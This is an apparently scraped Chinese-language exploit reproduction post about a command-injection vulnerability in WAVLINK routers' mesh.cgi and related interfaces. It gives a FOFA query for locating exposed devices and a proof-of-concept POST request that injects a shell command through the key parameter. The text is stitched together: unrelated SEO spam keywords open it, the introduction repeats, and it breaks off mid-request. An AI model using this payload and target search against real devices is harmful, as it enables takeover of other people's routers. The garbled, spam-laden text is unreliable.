成都需要网站制作,企业工商信用查询,安卓手机软件开发平台,手机笑话网站模板0x01 产品简介
WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器。
0x02 漏洞概述
WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。
0x…0x01 产品简介
WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器。
0x02 漏洞概述
WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。
0x03 复现环境
FOFA：icon_hash="-1350437236" 0x04 漏洞复现
PoC-1
POST /cgi-bin/mesh.cgi?page=upgradekey=';id./2.txt;' HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0 验证
GET /cgi-bin/2.t
